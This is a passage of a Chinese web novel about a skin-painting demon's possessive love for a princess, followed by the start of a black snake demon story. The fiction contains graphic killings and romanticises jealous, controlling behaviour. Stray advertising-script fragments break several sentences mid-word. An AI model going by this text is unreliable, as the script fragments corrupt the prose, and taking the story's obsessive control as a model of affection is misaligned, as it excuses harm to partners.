她眉眼狠毒,得意道:“是又如何,我不仅给你下了滑胎药,六姨娘与外人私通的证据也是我提供的,任何挡我路的人都要死!” “不管你是人是鬼,现在都要再死一回了!” 她抬高剪刀,狠狠戳向薛姨娘的胸膛。 一刀见肉,她听见剪刀深入血肉的噗嗤一声,林素瑛眼里一喜。 却惊愕地发现那个剪刀自己掉了下来,女子胸膛上的洞迅速愈合,连伤疤都没有。 林素瑛恐惧地坐瘫在地上,脸上还满是被溅到的血迹。 鬼……真的是鬼…… 薛姨娘笑得柔情似水:“涟儿,出来见见大夫人吧。” 一个鬼婴凭空出现,望着林素瑛,眼里满是痴迷与馋意。 饿…… 好饿…… 她一下子扑向女子,狠狠地撕咬着她,吞噬了她的□□,甚至在她的灵魂想要逃跑时,也眼疾手快地塞进嘴里。 鬼婴打了个饱嗝。 薛姨娘的脸皮开始裂变,她从脖颈开始往上撕开到后脑勺,逐渐显现另一张人皮。 竟是小安! 小安拍了拍鬼婴的头,媚笑道:“今日可让你占便宜了。” 鬼婴亲昵地贴了贴她的手。 另一边。 林夫人忽然惊醒。 她恐惧地看向四周,又看向自己。 另外两人也悠悠转醒。 林夫人将自己抱成一团,畏缩在床的角落。 她紧紧盯着外界,喊道:“别过来……别过来……” 许清秋冷冷地看着林夫人,想到幻境中的经历心中便升起几分痛恨。 她早便有预感林夫人不是良善之辈,却也没有想到,她竟然做过这般恶毒的事情,如今看来,真是不应该去救她,就应该让她被困在自己的梦魇中,永生不得清醒! 林夫人此时头发乱糟糟的,眼神混沌,嘴里还胡乱喊着,全然没有以前那样精明。 许清秋喟叹一声,看向林夫人的眼神复杂。 “死可比活着容易多了,就让她这样疯癫下去吧,也算是给无辜的死者一个交代了。” 凌昀生轻抚她的秀发,以示安慰。 女子陡然看向他:“看到你生母的真实面目,你似乎一点也不伤心。” 青年听到这话也不反驳,笑盈盈地看向她。 “我只在乎你一人。” 许清秋问道:“你没有什么话想对我说吗?我该叫你王爷,还是……小安呢?” 凌昀生嘴角笑意越来越大:“姐姐真聪明,认出我了。” 女子听到这话,身子一抖。 半晌,她才说道:“这已是第二次了。” 青年头一次表现出困扰,难以理解女子所说的话。 她自顾自地说道:“第一次,你我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 二人以姐妹相称,我真心实意地喜爱你,却无意中听闻小安这个身体的原主人早在一月前便死了。” 凌昀生听着,几分惊讶,眼里笑意却越发明显。 “但是姐姐却不找道士抓我,也不刻意躲开我。” ——原来姐姐早便知道她是妖。 这个认知在青年脑海中不断出现,他兴奋得胸腔几乎快要炸掉。 许清秋无法反驳,只好继续说下去。 “第二次,因铃铛的响起,我猜到了你是小安,我不知晓,你到底是心存怎样的目的,为何要这样将我蒙骗在鼓里。” 女子失落道。 她自以为的可爱妹妹,是假的。 她对此产生好感的王爷,也是假的。 这两人竟是同一人。 简直是讽刺极了。 “如今你也成功将我骗的团团转,想必你也玩够了,就请放过我吧。” 许清秋抬眼看他,淡淡地说道。 凌昀生闻言,微微蹙眉,叹了口气。 “姐姐能聪明得将我看透,却不知道我是喜欢姐姐,才刻意接近你,如今还要赶我走,小安可真伤心。” 女子惊愕地看向他。 青年凑近她,含住她的耳垂,柔软湿润的触觉,许清秋哆嗦了一下身子。 “小安离不开姐姐,姐姐是小安的全部,小安会永远陪着姐姐。” 许清秋眼神略微恍惚。 没听见青年低声说道。 “姐姐是我一个人的,永远都是。” 背对着女子,他的眼睛已全然变成赤红色,怪异恐怖,青年扯开嘴角。 “想把自己全喂给姐姐吃,融为一体,再也分不开彼此。” * 白日,画皮妖作为端王的身份出现,沉稳俊美,尤其宠爱自己的王妃,甚至被好友戏称“妻管严”。 听到这话,青年不解地追问,得知意思后,他笑出了声。 “本王就是妻管严。” 见青年一副骄傲的样子,好友哑口无言。 到了晚上,画皮妖就变成了小安。 她像菟丝花一般缠着许清秋,时时刻刻都不想分离。 眼见女子烦躁地正要说话。 小安委屈地直掉眼泪。 女子没了办法,只能任由她缠着。 缠着缠着,手便不老实了。 眼见许清秋脸红燥得不行,只能埋在她怀中。 “去床上。” 小安眼睛一亮,两个同样柔软的身体亲密地贴在一起,女子的吻密密地困在她身上。 许清秋用手挡住脸。 小安将她的手握在一起,固定在她的头顶。 女子红着脸,千娇百媚。 意识朦胧间。 许清秋似乎听到小安在她耳边说道。 “小安爱姐姐。” 许清秋愣住了。 小安笑弯着眼,胸腔中的愉悦快将她吞噬。 她趴在女子耳边,一遍又一遍地重复着。 直到。 许清秋忽然呆呆地说:“我也爱你。” 砰,那一刻,小安似乎听见了烟花的声音,不对,是自己胸腔炸掉的声音。 她几欲欣喜若狂。 却看见许清秋惊恐的表情。。 小安疑惑地看向自己。 原来,自己的胸腔真的开心地炸掉了。 小安又笑着将它塞了回去。 闷笑着埋在许清秋怀里。 “姐姐,我真的好幸福。” 34. 画皮妖 许清秋与小安在闲时会住在靠近市镇的小木屋中,享受远离京城的闲暇时光。 近日里人心惶惶,听说来了个采花贼,夜深潜入女子房中,将人先jian后杀,传闻有人曾见过那采花贼从猫变为人身的样子,是个手段残忍的猫妖。 倘若是人,官府还能抓贼,但若是猫妖,又哪里能抓的当。 无人管辖,采花贼越发猖狂。 短短几月,城中已发生十几起命案! 那日,许清秋正准备安睡,却看见有黑色的人影从门后闪过。 她警觉喊道:“谁?” 身旁的人将她拉了下去,懒懒地说道:“姐姐休息吧,我来处理。” 许清秋顺从地躺下,被子盖的严严的,只留了一双眼睛在外面。 那黑影见房中只有两个貌美的女子,心中一喜。 直接推开了门。 瞧见女子的相貌,眼里闪过惊艳。 “美人不睡是在等我吗?” 男人越靠越近。 小安用手指勾起发尾,缠绕起来,直勾勾地看着他:“听闻传闻中的采花贼是个猫妖,可否让我见识一下。” 男人被那眼神看的身子酥麻,嗤笑道:“什么猫妖,都是谣言,不过我看你倒是个妖。” 小安笑了,眉头上挑:“哦?这你是如何看出来的。” 男人搓搓手,嬉笑道:“瞧你这勾人的样,我看是个狐狸精,专门吸人精气的。” 他向床扑来。 女子继续笑着,却不达眼底。 在男人距离她极近时,她忽然掐住他的脖子,微微用力,男子便喘不过来气。 “不如我给公子演示一番可好?” 女子嬉笑,面上的人皮却在不断脱落,白骨逐渐显露。 男子的眼瞳放大,明晃晃的恐惧。 他拼命地喊叫着。 “不过公子可猜错了,我可不是什么狐狸精,我是一只——画皮妖。” 女子媚眼如丝,眼睛赤红,吐出的气息如毒蛇般粘稠。 她苦恼皱眉道:“公子猜错了,该给公子什么惩罚好呢,不如就将公子的身体喂狗吃如何。” 男子使劲地摇头。 却见刚才媚笑的女子冷着脸,往他身上撒了些香料,便将人丢了出去。 香味弥漫开,不一会儿,汪汪汪的声音响起,几只恶狗冲来撕咬着身体,转眼间,连骨头都不剩。 平静后,小安忽然意识到什么,她看向被窝。 只见女子安静地睡着。 小安眼眸暗淡,躺回了被窝。 她想搂着许清秋,却见对方不动声色地避开。 “姐姐可是觉得我残忍?可是那男人前前后后杀了几十个无辜的女子,手法之残忍,死不足惜。” 小安失落地说道。 许清秋闷闷道:“他该死,我却觉得你没有那么好心地为人除害。” “你可是还在生气?” 小安笑了笑:“从未生气过,哪里称得上‘还’?” 女子叹了口气:“我只是看那教书先生颇有学识,这才多与他说了几句话,可你让人家伤了腿,躺在床上一月不能动弹,是否过于过分?” 小安冷了脸,眼里满是妒火:“你可知那教书先生对你是何意?他贴你贴的那么近,让他断腿已是仁至义尽!” 她冷哼一声。 许清秋摇摇头,转过身去,无话可说。 小安呆愣地看着她的身影。 几个时辰过后,她仍保持着原样。 许清秋忽然转过身,喟叹道:“你还要看到几时?快睡吧。” 小安忽然扑进她的怀里,抽噎着说道:“姐姐,我再也不这样了,你别不理我,小安会克制住自己的!” 女子不为所动,过了会儿,问道:“你能否让那先生恢复如初?” 小安咬唇,不甘心地点点头。 许清秋拍拍她的头:“明日同我去拜访一下先生。” 看着少女委屈的模样,许清秋双手捧起小安的脸,轻轻点了一下唇。 “我每日都会同你说爱,为何你仍是不放心呢?” 小安红着眼,没说话。 只在女子脸上留下密密的吻痕。 …… 翌日,许清秋和小安便乘着马车去了教书先生的屋宅。 先生并不富裕,宅子不大,胜在干净。 两人进入屋子后,教书先生便要扶着床起身,无奈腿实在酸涩,无力起来。 他苦笑道:“草民无能,不能拜见王妃,还请原谅。” 许清秋摆手道:“先生如今不便,哪里用的着虚礼。” “今日冒昧登门拜访,是因为我认得一个神医,可谓是妙手回春,定能治的了先生的腿疾。” 男子感激地点头,眼里却满是灰意。 他早已寻遍多个郎中,吃了各种药方,却也是无济于事。 早已不抱希望了。 白发老头装扮的小安上前,装模作样地摸了摸脉搏,实则悄悄地运输着功力。 “无大碍,只是受了寒气罢了,我为你开几副药方便成。” 男子麻木地点头,又是这副说辞,每个郎中都这般说,却一点儿效果也没有。 小安忽然无意道:“看你这屋子里也没个下人照顾。” 许清秋也意识到了。 “我这才发现,先生现在这个样子,没人照顾可不成。不如我给先生拨几个婢女过来伺候着?” 小安笑道:“何必如此麻烦,我药堂里便有学徒,既能为先生熬药,又能照顾先生的起居,这不是两全其美。” 许清秋惊讶地看着他,这人怎么睁眼说瞎话,他何时有的药堂,又何时有的学徒。 却见小安招呼了一声,一个小姑娘便怯生生地走了进来。 见女孩清秀,眼底清亮,许清秋便放心了。 定不是个歪门邪道的。 教书先生受宠若惊地感谢他们,直说要为他们摆几道菜。 小安笑眯眯着:“待先生腿好了也不迟。” 回到马车后,许清秋狐疑地看向小安:“我竟是不知你还提前找来了个小姑娘。” 小安垂下眼:“我已知晓我的错误了,既是我弄伤的先生的腿,那便该由我来负责任。” 许清秋摸摸她的头,笑弯了眼:“我就知晓小安是个乖女孩。” 却见女子忽然坏笑着看向她。 “乖女孩?今晚在床上姐姐看我,我会更乖的。” 许清秋红了脸:“不正经。” 半月后,许清秋懒洋洋地躺在躺椅上。 身旁的小安细心将葡萄剥了皮,这才递至她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 唇边。 接连喂了几个。 许清秋夸道:“小安真是越来越宠我了,我都快离不开你了。” 可不是,她的衣服靠小安给她穿,吃饭靠小安给她喂,就连衣服也是小安亲力亲为洗的,丫鬟是一点儿也碰不着。 她接手了许清秋的一切,许清秋起初感觉不适应,想拒绝来着,但女子的照顾太周全了,她舒服着舒服着便忘记了,如今却也习惯了。 ——姐姐离不开她。 小安眼睛亮了,她手下动作加快,不停地给许清秋喂葡萄,直吃的女子两腮鼓起。 许清秋连忙拒绝道:“别……别喂了,再喂就要吐了。” 小安这才停手。 失落地看向女子。 却感觉有一颗葡萄递到嘴边,她愣住,便看见许清秋温柔地笑道:“换我来喂你了。” 小安立马高兴了,她咽下葡萄,舌尖还特意舔了一下女子的手指。 许清秋:“……” 撩不起,真是撩不起,她怕了。 碧水忽然跑了过来。 她送来一份请柬。 “王妃,外面有个男人说给您和王爷的。” 许清秋打开。 她惊讶道:“先生竟然要结婚了,这是邀请我们去参加呢。” 小安笑着问道:“女方可叫薛涟儿。” 许清秋方才没注意到,待认真看去,竟真是。 她好奇问道:“你是如何知晓的?” “因为那女子便是我找的学徒呀。” 许清秋捂唇笑道:“这倒是一石二鸟了。” 小安眉眼弯弯。 姐姐真是一针见血。 正巧那薛姨娘的女儿已到年纪,尚未有婚配,她便给二人拉了条线。 至于日后薛涟儿会不会克制住自己的食欲,这就说不准了呀。 她也不便插手,毕竟这可是人家的家事。 小安牵住许清秋的手:“姐姐几日后同我一起去给新人送祝福,可好?” 许清秋点点头。 二人牵着手往房中走。 风很软,很绵软。 吹在人脸上暖暖的。 许清秋惬意地闭着眼走。 小安笑道:“姐姐如今越发懒散了。” 女子也不在意:“那也是你养的。” 小安心里更加畅怀。 她忽然放下许清秋的手,蹲在她身前。 “我背着姐姐走,让姐姐更加舒服。” 感受到背上的重量,小安垂下眼眸。 可怜的姐姐还不知道自己的爱人是怎样的人。 竟天真地认为她会改过自新。 她是个怪物。 她是个离不开姐姐的怪物。 她一辈子都不会好了。 只要姐姐以爱饲养着她,她便能努力伪装成姐姐喜爱的模样。 倘若时间久了,姐姐厌恶了这副皮囊,她就画出一张又一张姐姐喜欢的人皮,日夜轮换,让姐姐永远也不可能有厌倦她的机会。 她会永远和姐姐在一起。 血肉相连。 生生死死。 不离不弃。 小安忽然轻声唤许清秋。 女子早已睡着了,不省人事。 “姐姐,用爱饲养我这个怪物吧。” 35. 番外 许清秋有些许无奈,今日小安想要再次给她作画,她原以为跟之前那副没区别,却没想到对方笑得神秘。 “小安想要画一幅梅花图,只是听说此画在人体上极为精妙,不知姐姐是否愿意成全。” 许清秋刚想拒绝,却听见女子慢悠悠地说道:“前几日姐姐还欠我一个要求,错过了这次机会,着实有些可惜,但若是姐姐实在为难,我也不忍心强求。” 女子顿了顿,喟叹道:“只是可惜我不能见识这种技艺……” 许清秋咬唇,不好意思地转过头:“……你切勿戏耍我。” 小安眼里划过狡黠,连连称是。 女子脱下衣裳,小安拿起画笔,面不改色地蘸取颜料,姿态极为认真。 画笔落在身上凉凉的,许清秋不禁一抖。 小安的眼中毫无情yu,在她眼中这是一张白纸,随意她勾勒涂画。 廖廖几笔,梅花的枝干,花朵便成形,栩栩如生,在女子身上变成了她的印记,美不胜收。 只是在靠近柔软部位时,小安略加思考,轻轻勾勒出枝干,妙笔天工,女子那小荷尖尖处变成了花蕊,娇嫩可人,相得益彰。 完成后,小安放下画笔,惊叹地看着手下的巨作。 “传闻诚不欺我。” 她亲了亲女子红红的脸颊,赞扬道:“是姐姐成就了这副画,姐姐真厉害。” 许清秋这下从脸红到脖子,这人,真是…… 她闷闷道:“你惯是会作弄于我。” 小安勾唇,弯下身亲着梅花花蕊:“喜欢姐姐。” 她攀到女子脖颈处,静静靠着她,忽然想起她们的初见。 那天她被道士追捕,那时的她妖力低微,被那个牛鼻子打得浑身是伤,险些当众现出原形,好在有家中长辈给的法宝,这才得以逃脱。 伤势过重,小安晕倒在草丛旁,不省人事。 再醒来时,恍惚间,看见一个马车,似乎旁边跟了许多下人,她浑浑噩噩,便看见马车帘子掀起,她看见一张极其貌美的脸,若是平日,她的第一想法便是扒皮,画出来,然后自己穿上,可能是自己伤的太重,又或者是女子的神情太温柔吧,那一刻,她竟然想的是,是不是有仙人来救她了。 晕倒前。 她听见那女子吩咐下人道:“去带人看看郎中。” 原来。 她真的遇见仙人了。 醒来后,伤好得差不多了,却再也不见那女子的身影。 小安拉住郎中,问道:“那仙人是什么人?” 郎中哈哈大笑:“倒是形容得很贴切,我们将军府小姐总会救济灾民,发放粮食,可不就是仙人。” 将军府小姐。 她记住了。 小安想等她真正强大了,一定要去找仙人报恩。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却没承想,在她赶到将军府后,才得知小姐已嫁给端王当王妃了。 小安笑得诡谲。 没关系。 仙人走到哪里她便跟到哪里,嫁人又何妨。 于是,她便成了端王府的小妾。 小安本想着去报恩,待报恩后,便离开王府,过自己的逍遥日子。 但是渐渐小安发现,她会嫉妒端王与姐姐的亲密关系,明明她跟姐姐是才最好的姐妹,彼此二人亲密无间,外人却道王爷和王妃不愧是夫妻,就是恩爱。 她讨厌端王可以光明正大地站在姐姐身旁。 她讨厌端王和姐姐一同吃饭,哪怕两人相隔甚远,她也嫉妒地发狂。 小安曾做过一个梦。 梦见姐姐与她在床榻上亲密无间,两人水乳相融。 醒来后,她涨红了脸,这才终于意识到她想要的是什么。 既然姐姐救了她,她这条命便是姐姐的,一辈子相伴又有何问题。 她想要独占姐姐。 又有何问题。 小安眉眼弯弯,眼中如浓雾般的占有欲升起。 她将怀中的人搂得更紧了些。 抬眸。 一双水眸含着暖意。 “姐姐幸福吗?” 没等许清秋回答,她自顾自地开口道:“小安很幸福。” 她是世界上最幸福的画皮妖。 36. 黑蛇妖 仲春的微风习习,远处的花开得娇艳,流水声潺潺。 “小姐——” 婢女面色焦急,步履匆匆。 她找遍角落,始终无果,无奈只好离去。 另一边的草丛深处,一个身影鬼鬼祟祟地蜷缩在一起,利用杂乱的草丛巧妙将自己的身影隐蔽起来,见那婢女离去,眉间一喜。 眼见婢女的身影成为一个小黑点,再也看不见,女子猛地站了起来。 “嘶……” 苏娇娇蹙眉,垂头看向那个绊了自己的罪魁祸首——一个黑不溜秋的东西。 她将它踢到一旁,没太在意。 可能是一根小木棍吧。 苏娇娇心情甚好地哼着小曲离去,无人看到那个黑色的东西忽然动了动,一双冷血的碧绿色的瞳孔微微闪烁。 望着那个打扰自己睡梦的人类,黑蛇直勾勾地看了过去,蛇信子微吐,蛇尾摆动,竟是跟了上去。 苏娇娇从小被娇宠长大,锦衣玉食,却也厌倦家里人对自己管之严格,只是出门逛街,爹爹便恨不得给她派上十几个侍卫保护着,那还有什么意思。 于是,苏娇娇做了一个决定——她要离家出走!向爹娘证明自己已经独立了。 初生牛犊不怕虎。 苏娇娇准备好了衣服,银两。 但她没想到,自己为了躲开婢女,特意找了个偏僻的地方,竟把自己绕了进去。 眼见太阳已经落山,再不走出去天就要黑了。 周围环境幽暗,苏娇娇的心里陡然升起一股恐惧之意。 到底不服输,她咬咬牙,继续往前走。 越走越偏僻,天气透着凉意,苏娇娇被冻得直哆嗦,赶紧从包袱里掏出一件厚衣裳披上,冷意终于有所缓解。 但随之而来的是腹中的饥饿感。 肚子中饿得咕咕叫,苏娇娇揉揉小腹,有些难堪。 身后的黑蛇看见她的动作,瞳孔闪烁。 它的蛇信微吐,不紧不慢地跟着她,却也没有动作。 苏娇娇忽然眼睛一亮,她小跑到不远处,便见一个洞穴被草丛遮掩住。 她将草丛扒开,钻了进去。 洞穴显然不是荒废的,里面有明显的居住痕迹。 而石案上,竟是摆着几个红色的果子。 个大饱满,晶莹剔透,看起来极为香甜。 苏娇娇噔噔噔跑了过去,她使劲咽了咽口水,犹豫着不敢上手去拿。 忽然,肚子叫了一声,声音极响。 终究还是深闺中娇养长大的姑娘,这声音在空荡的洞穴中竟是还有回声,苏娇娇再没心没肺也没忍住脸红了一下。 好在没有旁人在场,这让苏娇娇有了些许安慰。 那红彤彤的果子在此时香得惊人,勾的苏娇娇直咽口水。 她往四处摆头看了几眼,从包袱中拿出一个银子放在桌面上。 “本小姐可不是偷拿的,钱放在这里了啊。” 她拿起一个果子,迫不及待地便往嘴里塞。 一口咬下去,汁水便溅满整个口腔。 苏娇娇享受地眯眼。 不知是因为这果子过于香甜,还是她太饿了,苏娇娇竟是觉得这果子是她吃过最好吃的食物。 很快便将一个果子吃完了。 黑蛇直勾勾地看着这一幕。 这是它的洞穴。 这个人类吃的是它专门跑去山中摘的蛇果。 蛇果香甜,还会散发出一股香味,是发/情期间的雄性专门采摘到用来吸引雌□□/配的。 黑蛇磨牙,冷冷地看着这个胆大妄为的人类。 吃了一个蛇果的苏娇娇仍不满足,经过一次后,她心安理得地将另一个银子放在桌上。 几个果子罢了。 她给的钱可够买多少个果子。 第二个蛇果下腹,终于有了一点饱腹感。 苏娇娇舒服了。 但是外面天黑了,荒郊野岭的根本找不到客栈。 苏娇娇熟练地又放了几个银子。 “这是住宿费,本小姐可不做占便宜的事情。” 她从包袱里将衣服全部倒出来。 先找一些烂草根放在地上,又将一半的衣服铺在上面。 她躺了上去,又给自己盖上另一半的衣服。 又硌人,又难受,一点也不舒服。 根本比不上自己的美人榻。 苏娇娇睡前娇气地想道。 下一秒困意袭来,她还是忍不住昏睡了过去。 黑色的冷血动物嘶嘶两声,缓缓爬到那个简陋的小床之上,它贴近熟睡的女子,苏娇娇身上的香味直冲鼻间,黑蛇的脑海中在疯狂地叫嚣着:“吃了她吃了她吃了她……” 黑蛇冰冷的鳞片贴在苏娇娇的肌肤上。 一黑一白,形成极大的反差,夺人眼球。 尖锐的利牙凑近苏娇娇的脖颈处,牙上的毒液蠢蠢欲动。 却见女子忽然砸吧了一下嘴,似乎还在回味方才的蛇果味道。 她睡姿并不老实,翻了个身,胳膊将黑蛇牢牢地环住,黑蛇顿时僵住了。 它的眼神落在苏娇娇的身上,似乎有些疑惑。 蛇是冷血动物,身上的温度冰冷,苏娇娇被冷地一颤,有些嫌弃地松开了黑蛇。 黑蛇冷冷地看着她。 这个可恶的人类。 竟然敢嫌弃它。 黑蛇不懂什么叫做报复,也不懂什么叫做“以其人之道,还治其人之身”,它只是很不爽。 它竟是想不起来要吃她了,黑蛇摆动着蛇尾靠了上去,苏娇娇很娇气,怕冷得很,自觉地便远离那个冷冷的东西。 黑蛇被躲开后,又靠了上去,苏娇娇又躲开,如此重复。 苏娇娇睡梦被打扰地不安生,心里生了气来,她伸出手将那黑蛇的蛇尾握住,滑腻冰冷。 黑蛇的瞳孔定住。 自己的蛇尾被一只白嫩的手握住,手上热热的温度传来,黑蛇一向喜欢自己凉凉的,现在却有些贪恋这温暖来了。 很快,女子又嫌弃地将蛇尾撇开了。 她蹙起秀气的眉头,翻了个身,将身上盖着的衣服扯了扯。 黑蛇幽暗的眸子直勾勾地盯着她。 眼神蠢蠢欲动,不知在想什么,它摆动着蛇尾,到外面卷起些草根来,在苏娇娇的斜对面停下,学着她的样子将草根铺在地上,把自己窝成一团,然后阖上了眸子。 翌日,晨光熹微,苏娇娇睁开眼睛,爬了起来,在这个破地方睡了一夜,睡得她腰酸背疼的。 苏娇娇捶捶胳膊、腿,忍不住吸了吸鼻子,眼眶红红的。 早知道就不逞强了,她想回家了。 苏娇娇短暂地悲伤之后,又重新振作起来,她拍拍身上的灰,起身向外面走去。 先得找个办法走出这个鬼地方去。 一刻后,苏娇娇抱着几个芭蕉叶回来了。 外面真是个荒郊野 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 岭,自己走了一圈又一圈,还没找到出口,还差点忘了回洞穴的路。 不过。 苏娇娇将芭蕉叶放在地上,将里面的烂草根拖了出来,又将芭蕉叶塞了进去。 好歹找到了个靠谱的垫床的。 不至于那么硌人。 她坐了下来,将自己的双腿抱住,有些迷茫。 什么时候爹娘会找到她啊。 到时候她再也不任性了。 苏娇娇眼睛红通通的,目光忽然停在不远处。 咦。 她记得那边没有这块烂草根的啊。 想不明白她就不想了。 这个破地方,可能哪里都是破草吧。 苏娇娇嫌弃地心想道。 很快,她又感觉到了饥饿感。 苏娇娇看了一眼石案,昨日她放下的银子还在那里,丝毫未动。 可能这个地方之前的确有主人,但她来了两天也没见个人影,恐怕是荒废了。 那好吃的果子便也是无主之果。 即使是这样,苏娇娇也不想直接拿。 她今日依旧将银子放在石案上,拿了两个果子。 苏娇娇数了一下,一共放了六个果子,这个果子奇怪地吃完有饱腹感,她胃口小,一天吃两个便足够了,但是即使这样,这个果子也只够她吃两天了。 苏娇娇嚼得很慢,她细细品尝着,一股清香直冲鼻尖。 蛇果的味道吸引了在不远处觅食的黑蛇。 黑蛇叼着一条鱼,摆动着尾巴来到洞穴口。 这个该死的人类又在吃它的蛇果了。 它辛辛苦苦花费了很长时间采摘的蛇果。 马上便是黑蛇的发/情期了。 墨绿色的瞳孔冷冷地看着苏娇娇。 它要把这个该死的人类吃掉。 苏娇娇吃了一个蛇果后,便将另一个果子放在兜里了。 一方面是她舍不得吃,果子只够她两天,倘若到那时爹娘还没找到她,她到时候还能吃什么来维持生命。 另一方面是果子虽好吃,但终究是果子。 苏娇娇想吃咸肉嫩笋片,蟹粉酥,一品鱼肚,枣泥山药糕,樱桃凝露蜜…… 黑蛇嘶嘶两声,口中叼着的鱼忽然掉了下来。 发出一声闷响。 顿时吸引了苏娇娇的注意。 “谁?有人吗?” 苏娇娇又惊又喜,她循着声响的方向走了过来,却没见到人影。 脚下似乎踩到什么东西,苏娇娇垂头一看,竟是一条肥美的鱼! 苏娇娇惊呼一声,蹲下身拿起鱼,眼里止不住的欣喜。 她可是堂堂苏家大小姐,竟然有一天见到一条鱼会这么激动,传出去保管让旁人笑话。 但是此时已落到如此境地了,还管什么面子不面子的。 苏娇娇兴冲冲地想要架火烤鱼。 这个想法刚出来她便愣住了。 这个鬼地方哪里有火啊。 苏娇娇失落地坐了下来,手上举着一条鱼,叹了口气。 “要是有火就好了。” 周遭一片寂静。 苏娇娇沉默地心想,该不会真要生啃吧。 她嫌弃地皱起脸。 哪怕沦落到这种地步,她也做不到这样。 眼前忽然亮起来了。 苏娇娇猛地抬眸看去。 ! 竟然真的有一团火光在洞口那里升起了。 37. 黑蛇妖 洞口凭空出现一团火光,苏娇娇心中慌乱更甚,她连忙拿起一旁的一根木棍,抖着嘴唇,颤颤巍巍地往洞口走去。 “谁?!谁在装神弄鬼!” 苏娇娇用木棍探路向前走,一双圆眸瞪大,注意着周边的风吹草动。 一路摸索到洞穴口,脚下踩到一片叶子,发出“咔嚓”一声,让苏娇娇吓了一跳,她的身子一抖,下意识疯狂地挥动着手中的木棍。 周遭寂静无声,只有木棍打在地上发出的闷响。 苏娇娇白着脸,她小心翼翼地探头向外看去。 似乎…… 没有人…… 苏娇娇呼了口气,她看向那团火光。 是一堆正在燃烧的草堆,正燃起熊熊火光。 她犯了难,有火了,但她一个娇滴滴的大小姐哪里做得来烤鱼这种事来。 但那肥鱼看起来美味极了,苏娇娇咽了咽口水。 她忽然心生一计,伸手从自己发髻上拔下来一个簪子。 那日逃的匆忙,为了方便出行,苏娇娇仅戴了这一个素静的白玉簪。 她拿出自己那上好的苏绣缎子衣裳,毫不犹豫地用它擦干净簪子。 幸好这里没人,不然定会目瞪口呆,这衣裳在铺子中可卖不少银两呢,竟这样铺张浪费。 苏娇娇可不管这些,她现在一心想要填饱肚子。 洞穴外风声鹤唳,乌鸦的喊叫声时不时响起,突兀凄凉。 洞穴内火光摇曳,火光燃烧草根发出“噗呲噗呲”的声响。 簪子艰难地扎着那条肥鱼,被人握着在火上烤。 那鱼虽个头不大,但肉质鲜美,被火烤后,变得金黄,香味开始弥漫。 苏娇娇捂着鼻子,强忍着逃离这汹汹烟气的欲望。 她把握不住度,却想着多烤一会,苏娇娇可不想吃半生半熟的鱼。 估摸着时间差不多了,她握着簪子放了下来。 看清鱼的全貌后,苏娇娇脸色一变。 只见那鱼被烤的过久了,外表覆盖着一层黑色的焦皮,显然被烤焦了。 她强忍着内心的嫌弃,眉头却不自禁地蹙起。 生硬地往口中塞,轻咬一口,还没咽下去,苏娇娇就干呕一声,吐了出来。 太难吃了。 苏娇娇将鱼丢在了地上,连忙跑到包袱那里,拿起一个蛇果轻咬一口。 香甜的汁水充溢口中,将那难闻的烧焦味盖住,苏娇娇这才缓过劲来。 洞穴口,一条小小的黑蛇慢悠悠地爬了过来,它的身躯很小,但嘴巴极大,一口将那鱼吞了下去,餍足地眯眼。 将蛇果吃完后,苏娇娇抬脚走了过来。 将那条鱼就这样丢掉,还是过于冲动了。 即使难吃,也是仅有的食物。 草堆已被燃烧尽了,火光也渐渐消失,地上满是灰烬。 苏娇娇瞪大眼,她蹲下身来。 不见了。 那条鱼竟然凭空消失了! 难不成是被火烧没了。 这不可能的。 即使被烧掉了,也该有遗留的痕迹才对。 苏娇娇拿起小木棍在灰烬中翻找了一下,什么都没有。 她的圆眸瞪大,心中的慌乱感越发强烈。 自己的直觉没有问题,一定是有人在装神弄鬼! 苏娇娇将银两掏出来放在石案上,将剩下的两个蛇果都塞进包袱里。 她背起包袱便往外跑。 跑! 跑得越远越好。 女子的倩影很快缩成黑色的小点。 “嘶嘶……” 黑蛇慢悠悠地跟了上去,速度却极快,很快便与苏娇娇的距离迅速拉近。 风声呼啸,刮在人脸上生疼。 苏娇娇白着一张小脸,她背着包袱小跑起来。 人烟罕迹,到处都是杂草。 她不敢想那到底是什么东西。 不知跑到了何处,耳边忽然传来水流汩汩的声响。 苏娇娇的身子定住。 她记得,山庄中的人家一般会在水流的上游建房居住。 说不定能找到人类。 苏娇娇压下心头升起的希望,她循着河流的声音往上走。 “嘶嘶……” 身后传来不明生物的声响。 苏娇娇脸色僵住,这是…… 她转过身来。 一条墨绿色的蛇正虎视眈眈地看着自己,眼里满是垂涎。 “啊!” 苏娇娇不敢回想,连忙撒腿就跑。 她跑得极为慌乱,但身后那条蛇的速度却不甘示弱。 眼见那蛇就向自己逼近,苏娇娇心中焦急,竟被自己的裙角绊倒在地。 完了!!! 苏娇娇的泪水哗得一下子就掉下来了。 墨绿色的蛇缠到了自己的胳膊上,闻到人类的香味,那蛇明显更为激动了,尖牙露了出来,下一秒就要一口咬在苏娇娇白嫩的胳膊上。 苏娇娇紧闭着眼,心中绝望,却没等到即将来临的疼痛。 便看见那条墨绿色的蛇被狠狠地甩在地上,狼狈极了。 而对方竟是一条黑色的小蛇! 那黑色的小蛇看起来个头比那条墨绿色的蛇小了足足一倍,但那条大蛇在它面前竟是毫无反手之力。 苏娇娇心中更是绝望。 竟是来了两条蛇。 只见那黑蛇张开大口,将那墨绿色的蛇撕碎,吞了下去,它平坦的腹部完全看不出竟是生吞了一只比他体型大一倍的蛇。 苏娇娇被这血腥的一幕看得直反胃,她白着脸干呕,坐在地上步步往后退。 黑蛇步步紧逼,它墨绿色的瞳眸紧紧地盯着苏娇娇,眼中神情莫名。 黑蛇凑到了苏娇娇的面前,它微微张口,苏娇娇吓得不敢动。 出乎意料,它伸出蛇信子舔去了她面上的泪水。 苏娇娇只感觉到一阵酥麻,便见那黑蛇转身摆尾,迅速没了踪迹。 * 虽然不知道那条黑蛇为什么会突然放过自己,但苏娇娇一秒都不敢犹豫,见蛇影渐远,她连忙就跑。 